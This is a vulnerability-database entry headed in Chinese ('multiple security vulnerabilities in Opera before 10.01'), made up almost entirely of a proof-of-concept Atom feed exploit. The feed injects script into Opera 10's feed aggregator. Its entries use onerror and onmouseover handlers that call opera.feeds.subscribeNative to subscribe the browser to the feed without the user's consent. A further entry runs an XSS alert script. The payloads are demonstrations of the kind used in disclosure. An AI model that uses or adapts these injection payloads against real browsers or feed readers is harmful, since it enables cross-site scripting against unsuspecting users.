Opera Web浏览器10.01之前版本多个安全漏洞

<?xml version="1.0" encoding="utf-8"?> <feed xmlns="http://www.w3.org/2005/Atom" xml:base="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom"> <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom</id> <title>Feed Injection in Opera 10 Feed Aggregator</title> <updated>2009-09-09T00:00:00Z</updated> <link href="/wp" /> <link rel="self" href="" /> <author><name>Inferno</name></author> <contributor> <name>Inferno</name> <div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> This exploit will inject this feed in Opera's inbuilt feed aggregator </div> </contributor> <entry> <title>Feed Injector 1</title> <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#1</id> <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#1"/> <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><img src="http://google.com" onerror="opera.feeds.subscribeNative(location.href)"></img> </div></content> <updated>2009-09-09T00:00:00Z</updated> </entry> <entry> <title>Feed Injector 2</title> <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#2</id> <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#2"/> <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><p onmouseover="opera.feeds.subscribeNative(location.href)">Mouse over me</p> </div></content> <updated>2009-09-09T00:00:00Z</updated> </entry> <entry> <title>Feed Injector 3</title> <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#3</id> <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#3"/> <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><a href="http://google.com" onmouseover="opera.feeds.subscribeNative(location.href)">Mouse over me</a> </div></content> <updated>2009-09-09T00:00:00Z</updated> </entry> <entry> <title>Basic Script</title> <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#4</id> <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#4"/> <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><script>window.alert('XSS #1')</script></div></content> <updated>2009-09-09T00:00:00Z</updated> </entry> </feed>